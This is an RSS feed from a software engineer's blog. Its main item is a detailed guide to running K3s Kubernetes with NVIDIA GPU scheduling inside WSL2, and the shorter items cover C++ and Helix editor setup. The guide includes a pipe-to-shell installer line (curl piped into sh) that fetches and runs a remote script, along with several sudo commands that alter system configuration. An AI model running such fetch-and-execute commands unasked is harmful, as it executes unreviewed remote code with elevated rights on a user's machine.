<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
  <channel>
    <title>Andrey Krisanov</title>
    <link>https://akrisanov.com</link>
    <description>Software engineer writing about production LLM inference, AI infrastructure, distributed systems, Kubernetes, vLLM, and platform reliability.</description>
    <generator>Zola</generator>
    <language>en</language>
    <atom:link href="https://akrisanov.com/rss.xml" rel="self" type="application/rss+xml" />
    
    <lastBuildDate>Thu, 18 Jun 2026 00:00:00 +0000</lastBuildDate>
    

    
    <item>
      <title>My Modern C++ Setup on macOS and Apple Silicon</title>
      <pubDate>Tue, 19 May 2026 00:00:00 +0000</pubDate>
      <author>Andrey Krisanov</author>
      <link>https://akrisanov.com/macos-apple-silicon-cpp-setup/</link>
      <guid>https://akrisanov.com/macos-apple-silicon-cpp-setup/</guid>
      <description xml:base="https://akrisanov.com/macos-apple-silicon-cpp-setup/"><![CDATA[
        <p>Published: 2026-05-19</p>
        
        
          <p>I’m starting to learn modern C++ seriously (yes, seriously), so I wanted a clean and repeatable development setup on
macOS with Apple Silicon.</p>
<p>My goals are simple:</p>
<ul>
<li>use a modern LLVM/Clang toolchain</li>
<li>build projects with CMake and Ninja</li>
<li>get proper language-server support in VS Code and Helix</li>
<li>use sanitizers and static analysis from the beginning</li>
<li>keep the setup practical, not over-engineered</li>
<li>make sure everything is reproducible on any M-series Mac</li>
</ul>
<p>This post is a cheatsheet and assumes that Homebrew is already installed.</p>
        
      ]]></description>
    </item>
    
    <item>
      <title>Running Kubernetes with GPU inside WSL2 on my RTX Laptop</title>
      <pubDate>Wed, 22 Apr 2026 00:00:00 +0000</pubDate>
      <author>Andrey Krisanov</author>
      <link>https://akrisanov.com/wsl-nvidia-gpu/</link>
      <guid>https://akrisanov.com/wsl-nvidia-gpu/</guid>
      <description xml:base="https://akrisanov.com/wsl-nvidia-gpu/"><![CDATA[
        <p>Published: 2026-04-22</p>
        
        
          <h2 id="why-i-did-this">Why I did this</h2>
<p>I wanted a local environment where I can:</p>
<ul>
<li>run Kubernetes</li>
<li>schedule GPU workloads</li>
<li>experiment with CUDA / inference / device plugins</li>
<li>without renting cloud GPUs</li>
</ul>
<p>I have a Lenovo Legion laptop with an RTX GPU and WSL2. Turns out:</p>
<blockquote>
<p>Yes, you can run Kubernetes with GPU access inside WSL2.
But there are a couple of non-obvious traps.</p>
</blockquote>
<p>This is a step-by-step guide based on a working setup.</p>
<h2 id="tl-dr">TL;DR</h2>
<p>Final stack:</p>
<ul>
<li>Windows 11 + NVIDIA driver (WSL-enabled)</li>
<li>WSL2 (Ubuntu 24.04)</li>
<li>K3s (containerd)</li>
<li>NVIDIA Container Toolkit</li>
<li>NVIDIA device plugin</li>
<li>One critical fix: <strong>device plugin must use <code>runtimeClassName: nvidia</code></strong></li>
</ul>
<h2 id="prerequisites">Prerequisites</h2>
<p>You need:</p>
<ul>
<li>Windows 11</li>
<li>NVIDIA GPU (RTX in my case)</li>
<li>Latest NVIDIA driver <strong>with WSL support</strong></li>
<li>WSL2 installed</li>
</ul>
<p>Inside WSL:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">nvidia-smi</span></span></code></pre>
<p>If this works — you’re good.</p>
<h2 id="step-1-don-t-install-linux-nvidia-drivers">Step 1: Don’t install Linux NVIDIA drivers</h2>
<p>WSL already provides everything via:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">/usr/lib/wsl/lib/</span></span></code></pre>
<p>If <code>nvidia-smi</code> is missing:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#D20F39, #F38BA8);font-style: italic;">echo</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">export PATH=$PATH:/usr/lib/wsl/lib</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#179299, #94E2D5);"> &gt;&gt;</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ~/.bashrc</span></span>
<span class="giallo-l"><span style="color: light-dark(#D20F39, #F38BA8);font-style: italic;">source</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ~/.bashrc</span></span></code></pre>
<p>Do <strong>NOT</strong> run:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">apt</span><span style="color: light-dark(#40A02B, #A6E3A1);"> install</span><span style="color: light-dark(#40A02B, #A6E3A1);"> nvidia-utils-</span><span>*</span></span></code></pre>
<p>You will break your setup.</p>
<h2 id="step-2-install-nvidia-container-toolkit">Step 2: Install NVIDIA Container Toolkit</h2>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">curl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">fsSL</span><span style="color: light-dark(#40A02B, #A6E3A1);"> https://nvidia.github.io/libnvidia-container/gpgkey</span><span style="color: light-dark(#179299, #94E2D5);"> |</span><span style="color: light-dark(#EA76CB, #F5C2E7);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">  sudo</span><span style="color: light-dark(#40A02B, #A6E3A1);"> gpg</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-dearmor</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">o</span><span style="color: light-dark(#40A02B, #A6E3A1);"> /usr/share/keyrings/nvidia-container-toolkit-keyring.gpg</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">curl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">s</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">L</span><span style="color: light-dark(#40A02B, #A6E3A1);"> https://nvidia.github.io/libnvidia-container/stable/deb/nvidia-container-toolkit.list</span><span style="color: light-dark(#179299, #94E2D5);"> |</span><span style="color: light-dark(#EA76CB, #F5C2E7);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">  sed</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">s#deb https://#deb [signed-by=/usr/share/keyrings/nvidia-container-toolkit-keyring.gpg] https://#g</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#179299, #94E2D5);"> |</span><span style="color: light-dark(#EA76CB, #F5C2E7);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">  sudo</span><span style="color: light-dark(#40A02B, #A6E3A1);"> tee</span><span style="color: light-dark(#40A02B, #A6E3A1);"> /etc/apt/sources.list.d/nvidia-container-toolkit.list</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">sudo</span><span style="color: light-dark(#40A02B, #A6E3A1);"> apt</span><span style="color: light-dark(#40A02B, #A6E3A1);"> update</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">sudo</span><span style="color: light-dark(#40A02B, #A6E3A1);"> apt</span><span style="color: light-dark(#40A02B, #A6E3A1);"> install</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">y</span><span style="color: light-dark(#40A02B, #A6E3A1);"> nvidia-container-toolkit</span></span></code></pre><h2 id="step-3-verify-gpu-in-containers-podman">Step 3: Verify GPU in containers (Podman)</h2>
<p>Generate CDI config:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">sudo</span><span style="color: light-dark(#40A02B, #A6E3A1);"> mkdir</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">p</span><span style="color: light-dark(#40A02B, #A6E3A1);"> /etc/cdi</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">sudo</span><span style="color: light-dark(#40A02B, #A6E3A1);"> nvidia-ctk</span><span style="color: light-dark(#40A02B, #A6E3A1);"> cdi</span><span style="color: light-dark(#40A02B, #A6E3A1);"> generate</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-output=/etc/cdi/nvidia.yaml</span></span></code></pre>
<p>Test:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">podman</span><span style="color: light-dark(#40A02B, #A6E3A1);"> run</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-rm</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-device=nvidia.com/gpu=all</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ubuntu</span><span style="color: light-dark(#40A02B, #A6E3A1);"> nvidia-smi</span></span></code></pre><h2 id="step-4-install-k3s">Step 4: Install K3s</h2>
<p>Make sure systemd is enabled:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">ps</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">p</span><span style="color: light-dark(#FE640B, #FAB387);"> 1</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">o</span><span style="color: light-dark(#40A02B, #A6E3A1);"> comm=</span></span></code></pre>
<p>Should print:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">systemd</span></span></code></pre>
<p>Install K3s:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">curl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">sfL</span><span style="color: light-dark(#40A02B, #A6E3A1);"> https://get.k3s.io</span><span style="color: light-dark(#179299, #94E2D5);"> |</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> sh</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span></span></code></pre>
<p>Configure kubeconfig:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">mkdir</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">p</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ~/.kube</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">sudo</span><span style="color: light-dark(#40A02B, #A6E3A1);"> cp</span><span style="color: light-dark(#40A02B, #A6E3A1);"> /etc/rancher/k3s/k3s.yaml</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ~/.kube/config</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">sudo</span><span style="color: light-dark(#40A02B, #A6E3A1);"> chown</span><span> $</span><span>USER</span><span style="color: light-dark(#40A02B, #A6E3A1);">:</span><span>$</span><span>USER</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ~/.kube/config</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">export</span><span> KUBECONFIG</span><span style="color: light-dark(#179299, #94E2D5);">=</span><span style="color: light-dark(#179299, #94E2D5);">~</span><span>/.</span><span>kube</span><span>/</span><span>config</span></span></code></pre>
<p>Check:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">kubectl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> get</span><span style="color: light-dark(#40A02B, #A6E3A1);"> nodes</span></span></code></pre><h2 id="step-5-enable-nvidia-runtime-in-k3s">Step 5: Enable NVIDIA runtime in K3s</h2>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">sudo</span><span style="color: light-dark(#40A02B, #A6E3A1);"> nvidia-ctk</span><span style="color: light-dark(#40A02B, #A6E3A1);"> runtime</span><span style="color: light-dark(#40A02B, #A6E3A1);"> configure</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-runtime=containerd</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">sudo</span><span style="color: light-dark(#40A02B, #A6E3A1);"> systemctl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> restart</span><span style="color: light-dark(#40A02B, #A6E3A1);"> k3s</span></span></code></pre>
<p>Verify:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">sudo</span><span style="color: light-dark(#40A02B, #A6E3A1);"> grep</span><span style="color: light-dark(#40A02B, #A6E3A1);"> nvidia</span><span style="color: light-dark(#40A02B, #A6E3A1);"> /var/lib/rancher/k3s/agent/etc/containerd/config.toml</span></span></code></pre><h2 id="step-6-install-nvidia-device-plugin">Step 6: Install NVIDIA device plugin</h2>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">kubectl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> apply</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">f</span><span style="color: light-dark(#EA76CB, #F5C2E7);"> \</span></span>
<span class="giallo-l"><span>https://raw.githubusercontent.com/NVIDIA/k8s-device-plugin/v0.17.1/deployments/static/nvidia-device-plugin.yml</span></span></code></pre>
<p>Check:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">kubectl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> get</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ds</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">n</span><span style="color: light-dark(#40A02B, #A6E3A1);"> kube-system</span><span style="color: light-dark(#179299, #94E2D5);"> |</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> grep</span><span style="color: light-dark(#40A02B, #A6E3A1);"> nvidia</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">kubectl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> get</span><span style="color: light-dark(#40A02B, #A6E3A1);"> pods</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">n</span><span style="color: light-dark(#40A02B, #A6E3A1);"> kube-system</span><span style="color: light-dark(#179299, #94E2D5);"> |</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> grep</span><span style="color: light-dark(#40A02B, #A6E3A1);"> nvidia</span></span></code></pre><h2 id="step-7-the-critical-fix-wsl2-specific">Step 7: The critical fix (WSL2-specific)</h2>
<p>At this point the plugin runs but sees zero GPUs.</p>
<p>Logs look like:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">No</span><span style="color: light-dark(#40A02B, #A6E3A1);"> devices</span><span style="color: light-dark(#40A02B, #A6E3A1);"> found.</span><span style="color: light-dark(#40A02B, #A6E3A1);"> Waiting</span><span style="color: light-dark(#40A02B, #A6E3A1);"> indefinitely.</span></span></code></pre>
<p>Fix:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">kubectl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> patch</span><span style="color: light-dark(#40A02B, #A6E3A1);"> daemonset</span><span style="color: light-dark(#40A02B, #A6E3A1);"> nvidia-device-plugin-daemonset</span><span style="color: light-dark(#EA76CB, #F5C2E7);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">  -</span><span style="color: light-dark(#40A02B, #A6E3A1);">n</span><span style="color: light-dark(#40A02B, #A6E3A1);"> kube-system</span><span style="color: light-dark(#EA76CB, #F5C2E7);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">  -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-type=</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">merge</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#EA76CB, #F5C2E7);"> \</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">  -</span><span style="color: light-dark(#40A02B, #A6E3A1);">p</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">{&quot;spec&quot;:{&quot;template&quot;:{&quot;spec&quot;:{&quot;runtimeClassName&quot;:&quot;nvidia&quot;}}}}</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span></span></code></pre>
<p>Restart pod:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">kubectl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> delete</span><span style="color: light-dark(#40A02B, #A6E3A1);"> pod</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">n</span><span style="color: light-dark(#40A02B, #A6E3A1);"> kube-system</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">l</span><span style="color: light-dark(#40A02B, #A6E3A1);"> name=nvidia-device-plugin-ds</span></span></code></pre>
<p>Verify:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">kubectl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> get</span><span style="color: light-dark(#40A02B, #A6E3A1);"> node</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">o</span><span style="color: light-dark(#40A02B, #A6E3A1);"> jsonpath=</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">{.status.capacity.nvidia\.com/gpu}</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span></span></code></pre>
<p>Expected:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">1</span></span></code></pre><h2 id="step-8-run-a-gpu-workload">Step 8: Run a GPU workload</h2>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">cat</span><span style="color: light-dark(#179299, #94E2D5);"> &lt;&lt;</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#40A02B, #A6E3A1);">EOF</span><span style="color: light-dark(#40A02B, #A6E3A1);">&#39;</span><span style="color: light-dark(#179299, #94E2D5);"> |</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> kubectl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> apply</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">f</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">apiVersion: v1</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">kind: Pod</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">metadata:</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">  name: cuda-smoke-test</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">spec:</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">  restartPolicy: Never</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">  runtimeClassName: nvidia</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">  containers:</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">  - name: cuda</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">    image: nvcr.io/nvidia/k8s/cuda-sample:nbody</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">    args: [&quot;nbody&quot;, &quot;-gpu&quot;, &quot;-benchmark&quot;]</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">    resources:</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">      limits:</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">        nvidia.com/gpu: 1</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">EOF</span></span></code></pre>
<p>Watch:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">kubectl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> get</span><span style="color: light-dark(#40A02B, #A6E3A1);"> pod</span><span style="color: light-dark(#40A02B, #A6E3A1);"> cuda-smoke-test</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">w</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">kubectl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> logs</span><span style="color: light-dark(#40A02B, #A6E3A1);"> cuda-smoke-test</span></span></code></pre><h2 id="what-actually-broke-on-my-first-attempts">What actually broke on my first attempts</h2>
<p>Everything worked except one subtle thing:</p>
<blockquote>
<p>The NVIDIA device plugin itself was running under the wrong runtime.</p>
</blockquote>
<p>Even though, containerd knew about NVIDIA, Podman could use GPU, and CUDA worked.</p>
<p>The plugin pod still used default runtime → no GPU → no resources.</p>
<p>Setting:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">runtimeClassName:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> nvidia</span></span></code></pre>
<p>fixed it.</p>
<h2 id="final-result">Final result</h2>
<p>After following these steps, you should have:</p>
<ul>
<li>local Kubernetes cluster</li>
<li>GPU scheduling</li>
<li>CUDA workloads</li>
<li>no cloud costs</li>
</ul>
<p>All inside WSL2.</p>
<h2 id="when-to-use-this">When to use this</h2>
<p>This setup is good for:</p>
<ul>
<li>learning Kubernetes GPU scheduling</li>
<li>testing inference workloads</li>
<li>experimenting with device plugins</li>
<li>prototyping LLM infra locally</li>
</ul>
<p>Not great for:</p>
<ul>
<li>performance benchmarking</li>
<li>multi-GPU experiments</li>
<li>production-like environments</li>
</ul>
<h2 id="one-last-tip">One last tip</h2>
<p>Save your working config:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">kubectl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> get</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ds</span><span style="color: light-dark(#40A02B, #A6E3A1);"> nvidia-device-plugin-daemonset</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">n</span><span style="color: light-dark(#40A02B, #A6E3A1);"> kube-system</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">o</span><span style="color: light-dark(#40A02B, #A6E3A1);"> yaml</span><span style="color: light-dark(#179299, #94E2D5);"> &gt;</span><span style="color: light-dark(#40A02B, #A6E3A1);"> nvidia-device-plugin-wsl2.yaml</span></span></code></pre>
<p>This saves you from debugging this again later.</p>

        
      ]]></description>
    </item>
    
    <item>
      <title>Helix for Python Development</title>
      <pubDate>Sun, 29 Mar 2026 00:00:00 +0000</pubDate>
      <author>Andrey Krisanov</author>
      <link>https://akrisanov.com/helix-python/</link>
      <guid>https://akrisanov.com/helix-python/</guid>
      <description xml:base="https://akrisanov.com/helix-python/"><![CDATA[
        <p>Published: 2026-03-29</p>
        
        
          <p>In a day to day life, I'm big Visual Studio Code user. I use it for all my working and personal projects, and most
of the time, I love it. I've been using this editor for years while switching between different languages and ecosystems,
and it has been a great companion for my development journey. I truly appreciate the effort that Microsoft has put
into making VS Code a versatile and powerful tool for all sorts of developers.</p>
<p>However, with the rise of coding agents and chat-based interfaces, I've found myself looking for a less distracting
and more focused coding environment. I want something that allows me to immerse myself in the code without the
constant notifications and status updates that come in panels and sidebars. Especially when I read books and try
to reimplement the concepts and examples in code. For that reason, I've been exploring Helix, a terminal-based code
editor that promises to be fast, efficient, and yet powerful enough for modern development.</p>
<p>I've already configured Helix for working with code in Go, and it has been a great experience. Unfortunately, I haven't
written a note for myself about setting up Helix back then. Such a pitty. To avoid the same mistake, here's a note
about how I set up Helix for Python development, including LSP, type checker (ty), code formatter (ruff) and more.
I hope this cheat sheet will be useful for anyone else and save you some time.</p>
<p>A quick disclaimer: I'm a macOS user, so some of the instructions may be specific to that platform.
However, most of the tools and configurations should work on other operating systems as well.</p>
<p>Before we start, how do you even check whether Helix is configured for Python development?
The easiest way is to run this command in the terminal:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">hx</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-health</span><span style="color: light-dark(#40A02B, #A6E3A1);"> python</span></span></code></pre>
<p>In my case, the output looks like this:</p>
